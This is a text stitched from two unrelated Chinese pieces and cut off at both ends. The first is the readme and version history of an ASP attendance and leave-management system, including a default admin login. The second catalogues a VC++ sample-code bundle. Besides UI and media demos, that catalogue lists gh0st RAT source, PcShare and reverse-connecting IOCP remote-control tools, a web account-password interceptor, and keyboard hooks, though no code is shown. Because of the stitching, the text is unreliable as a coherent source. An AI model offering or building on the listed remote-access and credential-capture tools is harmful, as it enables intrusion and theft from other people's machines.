这个进程，不要搜索，要手动，因为C盘把这些设为自动隐藏文件，然后删除mms.cfg，重启。 【第一次登录使用】 全新安装和绿色使用的用户的请用 asoft / 123456 登陆管理，设定好管理员和其他设置即可。系统已经内置操作引导，登陆后可以在左右上方找到。 升级安装的用原密码登入即可。 【数据库安全】 建议将data/目录下的mdb数据库改成 .asp扩展名，同时修改根目录和ajaxinc目录的conn.asp中的数据库路径即可，这样可以防止数据库被恶意下载。 【功能概览】 1、用户：签到（普通签到和视频签到） 请假 便签 文件共享 2、管理员：人员管理 签到设定 部门设定 请假数据管理、自定义流程 系统设置 系统日志 在线更新 公告管理 各种用户行为记录导出 数据库管理 【给DIY用户】 根目录下文件为所有的程序文件，文件头部版权部分已经附带该文件的功能说明。 [其他目录] attachments：用户的附件箱，以用户的用户名命名子文件夹("_annouce_"默认文件夹请不要删除，否则将无法上传公告附件！“_qdphoto_”放置用户签到图片，也请不要删除！) ajaxinc: AJAX应用类(以ajax_命名的四个文件)、附件上传(upload_5xsoft.inc|asoft_upload.asp)和EXCEL导出文件(toexcel.asp)、顶部banner(top.asp)、验证码生成文件（CodeGen.asp、VerifyCode.asp），数据库连接文件（conn.asp） MD5加密函数（MD5.asp） 全局自定义函数包（function.asp） data ： 数据库文件夹 databackup：数据库和通过ASOFT SPCENTER在线更新后的程序文件备份文件夹 images：系统使用的图片文件夹 jsinc：jquery应用类、自己编写的JS函数，ajax应用入口函数 【一些定义】 签到签退缓冲：为了人性化的进行签到、签退操作，在签到、签退时间点前后设定的缓冲时间，在缓冲时间内进行签到签退都是合法的，不会被记录为迟到或者早退。例如，系统设定8：50签到，同时设定签到点前缓冲为10分钟，签到点后后缓冲为5分钟，那么在8：40~8：55签到都是正常的。早于该时间无法签到、晚于该时间视为迟到。 迟到：超过了预定义的签到时间而进行的签到操作 早退：当系统未开放自动签退功能时，如果发生过签到但未按时签退的行为 。例如，系统设定8：00~12：00未签到时间，8：00按时签到，但是未在12：00签退的行为 旷工：未按时进行预定义的签到动作的行为，例如，每天设定了上午下午两次签到点，上午未签到将为上午记录一次旷工；下午同理。 轮班：在用户绑定到某一签到组后（例如签到时间为早8：00~12：00，下午14：00~18：00，晚班19：00~23：00），管理员可以单独调整该用户签到频次，例如，只签早班，或者晚班。 跨天签到：可以允许用户进行任意多天的签到时长，适合晚班用户，例如从当天22：00~次日8：00. 【历史版本(不含补丁版本)】 [2010-01-10] V3.5 正式版 build 20110110 1、增加离座快捷设置，并可以锁定屏幕。 2、增加加班功能 修改： 1、自由签到可以在后台的签到设定进行是否脱离每日签到模块自动统计的开关 [2010-12-15] V3.5 内测版 build 20101215 增加： 1、可在后台授权的批量签到（签到内挂）诞生了，适合某些单位外派人员的负责人一键群签到需求 （在后台系统设置->权限管理对可操作的组别授权，授权后即可在左边操作栏的“数据管理”看到该选项） 2、现在系统允许在预设的假期内对某些人单独开放系统签到模块而不必更改全局设定了。 （在后台系统设置->常规设置可以添加想要开放签到的日期，比较适合于在一些额外的假日的时候进行便捷的调休） 3、万众期待的请假流程无限级自定义诞生了，并且，请假流程会根据申请人权限自动省略不必要的步骤（比如说部长的申请单无需组长进行第一审批了，即使该部门的请假流程存在组长这一级审批） 4、调整休假设定、批量签到、批量更改用户状态的界面，减少了单位时间内出现的按钮数量，使得操作更明晰 （通过左侧功能导航进入“休假设定”、“批量签到”、“用户状态设定”后可体验。需要后台在“权限管理”开放这三个权限） 5、允许任何用户可以根据实际情况中存在的项目团队进行自定义的项目负责人，项目负责人的作用体现为请假流程中的预审批。 （允许用户自发性的组成一些项目组，项目负责人可以由任何一个用户指定，被指定为项目负责人的用户会出现在进行指定操作的用户的请假流程预审批列表中，仅具有请假审批权限。） 6、首页增加“实时签到查看”选项卡 ，该选项卡可以在后台设定允许查看的权限组。 在后台系统设置->勾选后，可以在 start页面 [main.asp]看到。） 7、管理员可以在后台自定义用户状态（未审核、已审核、出差状态）、并可以将修改用户状态授权给组长以上职务，被设定为出差状态的用户会被系统自动忽略而不计入旷工，适合快速请假调休。 8、现在可以在部门管理界面调整部门先后顺序了 修改： 系统使用大小写混合密码无法登陆的情况 （用户名不区分大小写。自V2.2版后，密码重新开放大小写混合的复杂型密码） 修正： 优化请假模块在进行剔除工作时间的请假时间计算逻辑并修复一个因跨天签到设置导致计算不准确的BUG。 [2010-09-13] V3.4 正式版 build 20100913 1、增加开关左侧导航的功能，现在你可以有更大的视觉空间来查看数据了 2、修正自由签到用户无法计算请假时间、导致无法请假的BUG 3、修正设置得无公共审批人无法在审批人列表中被看到的BUG 4、修正销假后，在请假时间内依然被记录为旷工，其中： 4.1 更改请假逻辑 请假状态从请假开始时间系统自动计算，而非在终审生效的时候算起 4.2 在考勤查询增加一个“请假”快速查询类别 5、增加防签到状态卡死代码，修复某人因迟到造成连续自动签退后卡死的情况 [2010-09-07] V3.3 正式版 build 20100907 修复中文登录名用户无法正确保存视频签到的图片的BUG [2010-08-28] V3.3 正式版 build 20100831 特别重大更新-> 加入了视频签到功能，杜绝代签现象。你可以在“系统设置”->“签到设置”中决定是否开启它，以适应那些没有安装摄像头的单位继续以原有方式签到。（依赖服务器端的Persits.Jpeg组件。如果没有该组件将无法启用视频签到拍照功能，系统会提示您安装！） 1、重新编写签到统计模块，不会出现周末双休时被记录到旷工的情况了 2、签到查询界面增加了“申辩”快捷筛选选项 3、为用户管理界面和用户数据导出功能增加了一个时间段筛选的功能，现在可以直观的统计出各个用户在选定时间段的考勤数据总揽了。 4、增加一个控制公告和便签刷新的时间字段 现在管理员可以根据自己的服务器压力情况修改这个时间了 5、将迟到跟签到合并，现在迟到人员不会同时产生一条“迟到”和一条“正常签到”记录了。 6、增加了一个请假界面的在数据受损后的兼容性 7、修复未创建附件箱时上传附件的BUG 8、修复FF下无法在公告和便签附件箱上传附件的BUG 9、修改当签到组管理无子选项的样式 10、为附件箱图片增加预览功能 11、修复登录验证码开关的小BUG 12、CSS调整，增加style文件夹，统一放置CSS 13、修改签到组弹出框样式 14、修改在线更新版本对比代码段，修正了一个无外网连接时AJAX机制报错的BUG 15、修改了calendar.js，优化了日历选择控件样式和速度 16、修正了几处界面显示效果 17、在“私人定制界面”页面增加了“是否开启系统tips” （tips有时候很烦人……哥也深受其害 >_<）的功能。 [2009-11-27] v3.2正式版 build20091127 1、增强了“自由签到”功能，现在您可以为各部门设定每天可自由不限时签到次数和每次签到签退最小间隔了。 2、新增“签到状态申辩”和处理申辩的功能，现在您可以向管理员提出有异议的签到记录并且要求管理员修正你的签到记录了。 3、增强了请假审批功能，现在您可以为各部门分别自定义请假审批流程了 4、新加入节假日功能，现在您可以全局设定如何放假（休周末、休单周、休双周、单双轮休）以及当年法定节假日，甚至为任何一个单独用户设定个性化的休假方案了。休假期间，用户不能签到，也无法被签到记录统计程序记录。 5、现在您可以在发送便签或者发布公告的时候从自己的附件箱点选文件作为附件了。超级管理员增加了一个查看指定用户的便签附件箱的功能。 [2009-10-01] v3.1正式版 1、增加自定义用户组名称功能，现在您可以自由的为所有权限的用户取一个您喜欢的名字了（更改后用户下一次登录系统将会显示新的权限名称。例如，将“数据员”改为“秘书”等） 2、调整登陆页面设计。暂时屏蔽日程功能（插件暂时无法兼容，会在后续补丁开放该功能。） 3、编写公告和便签附件上传代码，植入uploadify控件，现在您可以为自己的附件箱增加附件了 4、如果管理员设置了自动签退，现在系统不再记录用户的早退行为了。 [2009-9-15] v3.1 beta3（内测，未发布） 1、增加滑动门机制，现在系统功能列表显得更加有序了。 2、引入jquery，改动行交叉变色机制和时间控件 3、修改工作人员状态模块增加发言类别，现在您可以发言、告知所有人您的离岗情况和请假情况了！ 4、增加管理员对各部门私人附件箱大小的控制，现在用户可以为自己创建一个管理员规定大小的附件箱了。 5、v3.1正式版UI替换结束，正式版将启用全新界面。 6、新增“在办箱” 功能，您能方便的看到自己的工作情况，并能方便的查询联系薄、最近的操作记录 7、新增 user_zw字段 用于储存用户职务 [2009-7-22] v3.1 beta2 1、请假流程四级化，并通过为各部门设定不同的主管级、部门级请假时长审批来自动减少审批流程长度。例如，请假4小时以内，只需要主管基本审批即可，8小时以内，需要部门审批院审批。 3、签到、请假查询、导出代码更替，现在可以不用开启JAVASCRIPT功能来进行页面导出了。 4、原绑定用户功能写数据库时增加对轮班字段的写入，增加轮班设定页面，现在您可以为任何一个用户设定单独的签到方式了，例如，某团队在绑定同一个签到组的情况下，有些人可以只上午签到，有些人则可以下午签到，类似轮班。 5、增加新便签弹出、新公告弹出用户私人定制功能，任何用户可以根据自己的需要打开或者关闭该功能。 6、增加登陆开关验证码功能，现在您可以关闭“烦人”的验证码了。 7、嵌入Service Pack中心，现在您可以进行在线升级了！ 8、系统浏览器兼容性调整完毕，现在您可以在IE、firefox和遨游、腾讯TT等浏览器上正常使用本程序了 [2009-5-10] v3.1 beta1 1、部分功能ajax化 2、验证机制cookies化 3、界面UI更换 [2009-1-7] v 3.0 PACK3 [本次Pack3的发布主要是bug修正、少许的功能升级，并为下一个版本做铺垫。主要升级如下：] 1、 修改后台系统设置的“每日进行当日签到统计时间”，使得当前该功能关闭时，时间输入框为不可用状态。 2、 后台增加新的开关功能，现在可以控制新注册用户是否需要后台审核了。 3、 会员注册模块有更新，现在可以在注册时看到对注册要求填写项目的用途的注册引导信息了。 [改动fun.asp zizhusing.asp] 4、 修改单机模式和局域网模式的跳转，现在当你单机测试的时候程序不再向网关发送请求来获取返回的IP地址了，而是直接使用127.0.0.1。 5、 美化了分页样式 6、 在后台左边操作栏增加了ajax实时更新便签信息的功能。在版权处增加了我的QQ实时聊天联系方式 7、 升级系统的周末模式。现在员工周末进入开放了周末模式的系统将直接跳转到个人信息查看页面而不是跳转到签到页面。 8、 便签模块ajax化，每5秒读取一次新信息。 9、 修复后台为员工分配签到组时分页跳转错误的BUG。 [2008-10-10] v 3.0 PACK2 1 、修改所有页面的分页跳转功能，有一个统一的子过程：FenPage() 统一控制，现在可以选择任意跳转到第几页了 2 、细化了签到缓冲设置，现在可以有四个参数指定签到点前后的不同缓冲了，让缓冲时间更加精确。 数据库qdsetall表增加字段 hctime_pre用来储存签到前缓冲时间，qthctime_pre用来储存签退后缓冲 数据库type表增加字段 hctime_pre用来储存签到前缓冲时间，qthctime_pre用来储存签退后缓冲 [2008-10-5] v 3.0 PACK1 1 、使得系统日志查询和签到签退功能的每页显示条数可在后台系统参数设置控制 （修改webset.asp,systemevent.asp,menberqdqt.asp,menberztkg.asp） 2 、增加签退缓冲时间设定，现在签到缓冲时间和签退缓冲时间可以单独设定了，改变了签到签退公用一个缓冲时间的模式 数据库升级： 在qdsetall表增加qthctime字段Integer default 0，贮存有签到组的人员的签退缓冲时间；在type表增加 qthctime字段Integer default 0，贮存自由签到组签退缓冲时间 修改功能添加修改删除页面：manager/ qdset2.asp，qdset_do.asp，type.asp，type_do.asp，showtime.asp 修改该功能显示页面：根目录/ payinfo.asp，qd_main.asp，fun.asp，zhinf.asp，cdinf.asp，qdinf.asp，qdinfo.asp 3、 修正了签到功能在准点签到的时候一个致命的错误；增强了本系统在单机环境测试时的IP获取稳健性（本系统采取从局域网网关返回本机IP的方式获取IP，因此在单机测试的时候会提示找不到IP。为配合该功能，在后台系统设置了一个名为“系统使用模式”的功能开关：唯一性选择“局域网模式”和“单机模式”）。 修改qd_main.asp，webset.asp,webset_do.asp,webinfo.asp 增加数据库webset表字段LanOrLocal，数据类型为Integer default 0 4 、其余发现的提示性说明文字bug小修改 userpass.asp，allqdcheck.asp，cdinf.asp，zhinf.asp，qdinf.asp [2008-3-10] v2.2 正式版 1 前台新增IP锁定功能，防止代签，后台可开关该功能。 2 前台增加“签到查询功能”，后台可开关该功能。 3 修正 自由签到功能 4 增强图形验证码生成功能 [2007-10-5] v2.1 正式版 1 修正 取回密码功能 2 加入可控制的自动注销功能 3 加入迟到过久可以切换到下一个签到点的功能 4 修正按时间察看签到纪录的 th宽度问题 5 增加“按时间段查询”员工签到纪录和EXCEL导出功能 [2007-3-29] v2.0 正式版 1 签到功能彻底更新，增加多点签到功能，每天可以设置无限多个签到点！ 2 增加“签到缓冲时间”功能，时令的签到设定更加人性化！ 3 人员管理的增加、修改功能中增加 “签到设定"！ 4 css全面定义，增加了可选择的多个项目操作功能[例如全删除，全审核通过]！ 5 员工的签到操作界面大改变，系统会按照设定依次提示员工该何时签到何时注销 6 增加所有签到纪录查询功能！ 7 员工管理者[小组长]更名为“组管理者” 8 后台系统设置功能中增加两项：更改首页横幅[banner]和logo，您用不着再去修改源文件来使系统的外观个性化了 9 根据反馈，去掉了“考勤管理”模块，去除了“人员奖罚”功能， [2006-11-24] v1.2 正式版 1、前台javascript过滤空串，减少服务器负担。[修改 login.asp,login2.asp.login3.asp]。 2、修改自主注册功能里面“职务细分”与后台显示不一致的问题。[修改zizhusign.asp]。 3、去掉员工管理者发布公告和文章的功能[修改后台公告和文章相关的文件，请直接覆盖]。 4、员工管理者（相当于小组长）现在只能察看本组员工的信息和迟到情况。 5、修正了“修改我的资料”功能的一处显示不当的错误。 6、管理员的后台人员资料管理现在可以选择组别来察看、也可以输入该员工的登陆账号或真实姓名来察看了，这样可以 减少管理员寻找某个特定员工的时间，也可以实现按组别管理某个特定类别的员工。 7、系统升级到1.2版本，前台top.gif和后台左上角图片更新。 [2006-10-13] V1.1 正式版 本次升级解决的问题是： 在fun.asp文件中，修正了第271行“管理者”和“员工”与后台增加人员不一致的情况。 ·修正了登陆功能,现在管理员登陆后直接进入后台，而不是像1.0版进入的是index.asp ·修正了修改公告的功能，不会再发生语句错误导致无法执行该叶面的情况。 ·修正了审核功能，现在可以正常的单个审核了。 ·增加了了审核页面中信息量，可以显示该人员工作组，真实姓名，职务，以便管理员判断。 ·增加签到积累考勤分，迟到或者不签到减少原有考勤分功能。 ·完善后台“人员资料”功能，增加两项功能： 1、管理员可察看单个员工的该月迟到签到纪录。 2、签到、考勤分、迟到三个栏目现在按系统配置的开关选项显示或关闭了。 ·人员详细资料中增加了“排名信息”，可以显示排名和排名时间。 [2006-10-5] V1.0 正式版 功能介绍 1、概念 管理：特指人员管理，考勤管理、签到管理、排名管理、工资结算管理。 通用：开放的配置系统，可以按本单位需要设置工作组、为人员分配工作组并设定工作时间等等。前后台的一些功能可以按需要决定开关， 具有很大的开放性，功能多样、选择性。 2、特色功能： (1)、签到功能：可以自由设定员工签到方式为 自由签到或者 定时签到，可以统一设定所有人签到模式和时间。如果是设定的自由签到，还可 以设定当天最多签到次数，如果是定时签到模式，当天只能签到注销一次，还可以单独修改特定人员签到方式签到时间，功能强大而灵活。员工还可以查看本月自己的签到纪录（该功能后台可以选择开放或者关闭）。关于自由签到和定时签到的具体说明以及疑问请参看本文最后的备注部分。 (2)、考勤功能：可以设定签到积累考勤积分（每天的第一次签到增加积分），迟到人员减分，[此功能1.1版更新]。管理员和员工管理者可以直接修改员工的当月考勤分和记录在案的总考勤分。员工可以在自己的控制面板察看考勤明细。（该功能后台可以选择开放或者关闭）。 (3)、排名功能：管理员可以对员工的 月签到次数、总签到次数；月考勤分，总考勤分；月迟到次数、总迟到次数进行排名并记录到数据库以供员工通过前台的查询接口查询排名。在排名的时候，系统会有两个功能予以选择，一是先排名到页面预览，一是要求选择是否员工管理者也参加排名。因为在您的公司中，员工管理者可能是属于权力部门的，他们没有被分配和员工一样的工作，比如学校的校长，公司的会计等等。在查询接口，会显示当前所查看的排名纪录的排名时间，以免造成理解上的错误，因为这不是实时排名。前台的查询接口可以在后台关闭。 (4)、工资结算功能：该功能以工作时间为结算依据。计算公式为：[（（月工资/本月天数）/日规定工作间）*今日有效工作时间]，这里有个有效工作时间的概念，可以理解为“不超过系统设定的工作时间的工作时间”。因为会发生员工忘记注销或者超时注销的情况。因此后台可以为个个工作组设定“忘记注销默认工作时间”，这是忘记注销有效工作时间的上限。而超时注销是以改人员所在组的规定工作时间为上限的。因此超时注销不会增加你的有效工作时间。如果是自由签到，那么在系统规定的签到次数内，系统会累计今日工作时间，以规定的工作时间为上限。如果是定时签到，那么只能签到和注销一次，以后的升级版本会加入日多点定时签到的功能，请关注。
vc++ 开发实例源码包
----------VC应用开发 [Visual.C..编程技巧精选500例]源代码. 内含各种例子（vc下各种控件的使用方法、标题栏与菜单栏、工具栏与状态栏、图标与光标、程序窗口、程序控制、进程与线程、字符串、文件读写操作、文件与文件夹属性操作、文件与文件夹系统操作、系统控制操作、程序版权信息、系统软件信息、 系统硬件信息、存储设备管理、鼠标及键盘、声音和视频、图形和图像、网络、数据库） 《远程控制编程技术》源代码 内含（重启、图片操作、ip操作、键盘与鼠标、客户端以及服务端、文件传输等实例源码） 多个VC++加密解密算法库（CRYPT++） 详细讲解了Crypt++的加密解密的使用以及其它的加密解密方法（例如base64加解密、哈希加解密以及其它的文件加解密），分静态库和动态库方法。 JSCalls_demo js调用的演示源码 树控件拖动 演示了在树控件中来回拖动文件的操作 MyPlayer 音乐播放器 内含歌词显示实现源码 ActiveXDemo 演示了装载以及卸载atl控件的操作以及注册操作 ado 登录模块的制作 如题，登陆数据库的操作。 ado,dao,odbc数据库连接vc代码 演示了不同的数据库的各种操作（连接、删除、添加……等等） ATL开发指南源码 内部包含了atl控件的开发以及如何应用，演示了COM的包容与集合、自动化、事件和连接点、枚举器和集合以及线程管理等等。 ATL实现的CDHtmlDialog模板类v1.03 使用了六个类五个模块类演示了atl的调用方法 class CDHtmlSinkHandler; // Events Sink Base class CDHtmlEventSink; // IHTMLDocument2 Events Sink // IDispatch class CDHtmlControlSink; // ActiveX Control Events Sink // IDispatch class CDHtmlElementEventSink; // IHTMLElement Events Sink // IDispatch class CExternalDispatchBase; template class CExternalDispatchImpl; // External Dispatch Implement // IDocHostUIHandleDispatch template class IDocHostUIHandlerDispatchImpl; // IDispatch template class DWebBrowserEvent2Impl; // ATL::CDialogImplBaseT template class CDHtmlDialogImpl; template class CMultiPageDHtmlDialogImpl; autoplaysnd mp3 播放器源码 重载了自带的控件进行播放 aviplayer avi播放器源码 引用了atl控件播放 beautifulskin 源码 演示了各种控件方法 Browser.Net源码 C#的一个网页游览的例子 C++自绘窗体的完整代码 注释非常详细，相信会帮助大家设计好自己的个性窗体。 C++_Primer_第4版_中文+英文 原书源码+课后习题答案。 CameraController(云界面) 实现了自绘控件，云端控制主要在CnComm类多线程串口通讯库， camerads-DirectShow使用示例 演示了摄像头的使用 CatListBoxDemo ListBox控件与其它控件阙套使用方法 CCAMS系统是一种用于局域网下的CS模式的软件管理和监测系统源码 它包括客户端和服务端，客户端软件主要作用是监测本主机的活动，并将监测到的信息定时发送给服务器。服务器可以将收集到的信息以柱状图和文件列表以及其他方式呈现给用户，以便用户对局域网内的主机进行监测和管理。 CClockST_demo 电子钟的实现，自绘Button、Static的实现，其中自定了一个辅助主题风格类。 CctryLog(web拦截网页帐号密码) 实现了一个控件去获得IHTMLDocument2接口，然后读取内容，匹配用户名与密码等。 CFile64_src 操作大文件，自定义了一个操作大文件的类，并进行了测试。 chapter7 实现了声音录制等功能。 CHtmlViewProjV2 详细演示了HtmlView的使用与HtmlView事件站点拦截的实现、js调用。 CIVStringSet_Demo 自定义了一个类似STL容器的类，并进行了测试。 ClearHistory 实现了 清楚internet临时文件、Cookie的清除、游览器地址栏历史地址的清除、清楚表单自动完成历史记录、清楚自动密码历史记录、清除收藏夹中的内容、清除RAS自动拨号历史记录、清除系统临时文件夹、清空回收站、清除"运行"中的自动匹配历史记录、清除"文档"中的历史记录、清除上次登陆用户记录、清除"查找文件"自动匹配历史记录、清除"查找计算机"自动匹配历史记录、清除网络联接历史记录、清除远程登录历史记录、清除浏览网址历史记录。实现的代码很简单。 CListCtrl 阙套其它控件 自绘了CListCtrl 控件，实现了其它控件阙套到List中并自绘等。主要的实现在CListReport类中。 CListCtrlTest 演示了重载CListCtrl后的使用方法。 CListItem Drawing 演示了其它控件（全部）阙套到List中并自绘等，学习自绘以及阙套CListCtrl 控件的好实例。 ColorStatic 自绘了CStatic控件，实现了标题字符滚动效果。 CSDN免积分下载工具 源码 演示了使用CInternetSession去下载资源。 CStatic文字滚动 如题，此实例非常适合学习，重载并自绘了Wnd类，效果是上下文字、图片、文字由大到小和星星闪烁等滚动效果。实例使用了加载类似xml文件读取信息，然后显示。 COM_ATL_Tutorial 简单的atl控件演示 COM接口挂钩及其应用 如题。 CSkinSlier CSliderCtrl自绘 Cursor 生成图标，运行到鼠标图标。 cutscene win32下实现视频播放。 C视频源代码 视频教程步骤源码 DDraw DirectX 实例 DES加密算法源代码 如题。 Detected memory leaks 检查内存泄漏源码 DigiStatic_src 自绘CStatic实现数字效果。 DirectShow开发指南pdf附属代码 如题。 DirectShow开发指南源码 如题。 directUI_D DirectUI界面库 DOM应用---遍历网页中的元素 如题。 dshowplayer 媒体播放器的实现，实现了VMR7、VMR9、EVR方式。 DSoundManager 实现了声音管理。 Excel文件的导入和导出操作 如题。主要的实现在CMyExcel类中。 expclass_src dll库的演示。 fge.1.1.alpha.sdk 精灵系统，一套MFC渲染引擎，含2D/3D等渲染，效果看源码，IFEngine是整个引擎接口,IFSystem是硬件查询系统,IFApplication是应用程序对象基类。 FlashPlayer播放器4.0的VC++源代码 如题。 FreeBird2011最初版(模仿飞鸽，可聊天+传文件） 该实例可进行局域网的聊天、一对多、多对一、和多对多的传送和续传，理论上这是我本人的实现目的，而且目前经测试已基本实现了上述功能，而且网速一般有几M/S。另外有只打开一个应用程序、CRichEdit的使用、最小到托盘、自动检测在线用户（多播组）等。 FreeBird2011Dlg.h 主对话框类头文件 MultiGroup.h 多播组类头文件 UserLink.h 用户链表类头文件 ListenSocket.h 侦听接口类文件 ChatSocket.h 聊天接口类文件 SettingDlg.h 设置对话框类文件 LocalInfoDlg.h 查看本地信息对话框类文件 freeeim_FreeEIM_企业即时通讯软件源代码2010年8月份最新版 如题。 FTP、HTTP 多线程断点续传下载文件 源码 如题。 gdiplus应用实例 如题，自绘控件的实现。 gdiplus应用实例2 如题，自绘控件的实现。 GetFileVersion 这个例子就是查询任何可执行文件的版本信息并且 C++builder 和 VC 都通用，只需要把 AnsiString 替换成 CString 就行了。 gh0st v3.6 源码 - 可下断点调试！ 如题。详细见源码。 GMem 内存管理单元源码。GMem.cpp和GMem.h是内存管理单元的源码文件。完成端口通讯模块内存管理。 haisanidsV1.2-网络连接监控 IP实时数据。自绘了很多控件。自绘CTabCtrl、CToolBar、CMenu、CButton、CHtmlCtrl、CListCtrl。 1.初始状态只监听连接,不捕获IP数据 2.鼠标右击列表选择或取消监控某端口数据 3.为防止ping攻击,一般情况ping数据全部监控 4.监控某端口数据时,不监控ping包 5.数据超过20k将被清空 6.右边窗口停止抓包后显示十六进制数 hyperlink 自绘CStatic,实现超链接。 iconbutton_demo 演示了多种自绘Button。 IDocHostUIHandler Extended CHtmlView 如题。 IM_毕业设计 聊天系统，操作了数据库，有服务端和客户端。 ini文件的类适合VC使用 如题。 Inline Hook(ring3) 简单源码 代码里用了备份dll的方法，因此在自定义的函数中可以直接调用在内存中备份的dll代码，而不需要再把函数头部改来改去。 IOCP反弹远控客户端模型，外加上线服务端，全部代码注释！ 如题。这个是IOCP远程控制软件的模型，服务端运行后会自动发送本机信息到客户端，客户端采用IOCP重叠机制。 IOCP封装类(DLL)发布 主要是CIocpSrv"伪类",实际上还是调用的DLL, IOCP完成端口 [1]---选择 - Select [2]异步选择 - WSAAsyncSelect [3]---事件选择 - WSAEventSelect [4]---重叠I [5]---完成端口 IP所在地查询器 如题。 jpeglib_demo 处理Jpeg图片。 KeyHook 键盘钩子，截获键盘信息。 Kugou7+UI 界面设计。学习界面的好实例，强烈推荐。 自绘button 如题。 自绘MENU 如题。 自绘tab 如题。 自绘Tree 如题。 自绘按钮button源代码 如题。 自绘编辑框 如题。 自绘窗体界面 如题。 自绘对话框 如题。 listbox-6 重载CListBox，演示了拖动功能。 Mail_Report 演示了发送邮箱的功能。 MD5算法 如题。 MediaPlayer 视频播放的实现。 MFC 对话框 MP3 内部包含：mp3播放器Lrc歌词同步源程序代码分析、mp3播放器+支持歌词同步显示哦、简单音乐播放器。 mfc 解码 视频音频解码部分。 MFC_MultiSender_OVER 文件传送，多文件（超大文件）传送功能的实现，含文档。 MFC+DLL的编写和调用示例 如题。 MFC换肤完全贴图实现 如题。 Smile简体版 很简单，只能播放mp3格式的音乐。 功能： --------------------------------------- --------关闭-- 打开----最小化------- --------------------------------------- 显示歌曲名字 -------------------- ------------------ ---暂停并从 ----- -- - 上一曲------ 头开始播放 | 显示时间 | | | ---开始和暂停 ----------- 下一曲------ -------------------------------------- Linux内核完全注释附 如题，我没看。 MFC+消息循环贴图---金山毒霸界面 自绘控件实现。 MFCDemo DirectUI移植到MFC中实现。 MFCHtml 调用脚本 如题。 MFC使用COM加载WMI服务,另类获取系统服务详细 大家都知道,现在流行的检测硬件软件视乎很神秘,我们要获得各种信息好像比较难.但大多数这种软件或多或少的使用了WMI,如果我们能熟练掌握相信你也做的处理.另外WMI除了查询还能修改,比如3389端口,账号,密码,服务启动与关闭只要你想做的几乎都可以,因为WMI代替我们去与硬件打交到了,甚至是系统底层! MiniPlayer 源代码 媒体播放实现。 MP3解码 代码 内部包含多种实例实现MP3解码，有开发文档。 MP3解压程序源代码 如题。 MPEG4播放器源代码 如题。 MSN 仿真界面全部源代码 如题，非常好的界面设计实例，自绘控件的实现。 Mufan MP3播放的实现。 MYICQ 0.8 alpha1 (仿腾讯QQ整套聊天系统) 老版qq系统的实现。 MyIE3.0浏览器源代码 如题。完整的代码，重载控件实现，非常适合初学者。 MyPhpServer(原创,有实现的主要代码) 如题。 microcai-ibus-t9-输入法源码 如题，主要源码就几个，详细见代码。 MzfHips主动防御 主要在MzfHipsDlg中，程序分析进程数据、驱动数据、注册表数据从而实现主动防御。 超级下载 不过不是c++源码 1:综合FTP下载和HTTP(网络蚂蚁)(多线程). 2:FTP下载支持多个站点同时下载一个文件(同时支持断点续传). 3:可以在不下载ZIP.RAR.ISO文件的情况下查看文件里面的目录文件. 4:支持多语言. 5:操作综合其它软件. 6:自定义快捷键. 7:在IE工具栏上加按钮,可以直接拖动连接到按钮上下载. 8:注册采用激活方式. 9:采用Messenger的弹出滑动消息提示框. 10:下载管理,虚拟文件夹. 11:自动ping. 12:连接到搜索引擎. 13:自动报告bug,建议等. 14:宏功能. 15:自动同步文件夹. 16:保存加载任务. 17:计划任务. 18:单线程下载时不能创建临时文件. 19:下载流文件(rm,Media Player). Notepad++ V5.6.8 源码！ 如题。 OA精灵代码 c++版 一套oa系统。 ocxdlgtest dll的一个实例。 OD反汇编引擎(带VC修改版和原版) 如题。主要文件就4个，非常适合学习，详细见源码。 OPENG开发的示例代码c++版 演示了OpenG的使用方法，内含几个实例，一个实例就3个文件。 p2p vb实例。 p2p+technology 文档。 P2P视频技术源码（含开发文档） 目前的协议有如下一些特点: 1) 客户向服务器发送请求, 每个请求的长度不定. 请求的长度在第一个INT中指定. 2) 每个服务器通常会向多种客户提供服务, 例如, TS要同时向CP, NP提供服务, CP要向NP和其他CP提供服务, 同时还是其他CP, TS, SP的客户. 3) 每个服务器为客户服务时, 通常是长期的, 会涉及多次请求-应答的来回. PcShare 内含远程控制、进程管理、文件操作、视频控制、注册表操作、客户端服务器端。 redui_src_v0.9.130(DirectUI 3D) DirectUI 3D界面库。 sdk(界面库) RINGSDK包含界面库和图象库。 绘MFC基本控件 ) 如题。 PlayerDrectShow win32情况下实现媒体播放。 preemptivepopupkiller C#源码，实现简单游览器。 RangeScan扫描器源代码 ip地址扫描，发送邮箱。 ResizableLib 测试开源界面库Resizable。 RsPicture 自定义了一个图片库，然后引用测试。 SimplePlayer 简单的媒体播放源码。 Skin_Combo_Box_demo 自绘Combox控件的实例。 SkinList_Demo 自绘List控件的实例。 Smile 自绘List控件的实例。 SOCK登录SSL加密网站 调用ie接口。主要的代码在IEComCtrlSink中。 sqlite3使用 引用了Splayer中的Sqlite3库，进行了测试。 SrcFirstProg 简单的窗口程序。 SuperGrid - 特别的 listview 控件 网格形式的视图，自绘了CComboBox、CEdit、CSuperGridCtrl实现。 tab 演示了CTabCtrl控件的使用方法。 tabcontrol_demo 自绘了CTabCtrl的实现。 To Create A COOL Desktop Lyrics Demo 歌词显示，效果非常好。对话框实现。 TopMost 自绘CListCtrl的实现。 Trace程序 演示了输出信息。 TransparentStatic 自绘CStatic控件。 TreeView控件 自绘CTreeView控件。 VC 创建向导模式 如题。 VC 精品源码打包下载(解) CatListBox_src.zip CatListBox_demo.zip 这个程序模仿Outlook建立分类列表框。 CClockST_src.zip CClockST_demo.zip 一个简单的数字时钟程序，其中的date类派生于MFC CStatic 基类。 CIVStringSet_Demo.zip CIVStringSet_Source.zip 基于MFC和STL平台的字符串类，可以实现在快速字符串搜索。 enum_display_modes_demo.zip enum_display_modes_src.zip 列出所有的显示模式并列表出来，通过单击列表来改变显示分辨率。 iconbutton_demo.zip iconbutton_src.zip 创建一个按钮，并在上面显示图标。 jpeglib_demo.zip jpeglib_src.zip 利用Delphi的代码在VC中显示JPG图片，不使用动态连接库。 Mail_Report.zip 一个邮件报告程序。 SrcFirstProg.zip 解释了最基本的MFC程序流程。 tabcontrol_demo.zip tabcontrol_src.zip 自定义的标签控件对话框。 Undo_demo.zip undo_src.zip 在VC中实现Undo和Redo功能。 VC 利用底层键盘钩子屏蔽任意按键MaskKey 动态链接库实现钩子，然后程序调用。 VC 透明窗口效果的电子标尺源代码 实现了屏幕绘图操作，实现电子标尺数据计算以及显示，有数据库操作保存数据。 VC++ ini文件读写操作类实例 如题。 VC++版源代码统计工具 如题。内含自绘CMenu、CButton、CDialog、CStatic、CListCtrl等。 VC++6.0 控制摄像头 一个视频捕捉类对摄像头的操作。 VC+++暴风影音(Media+Player+Classic)源码 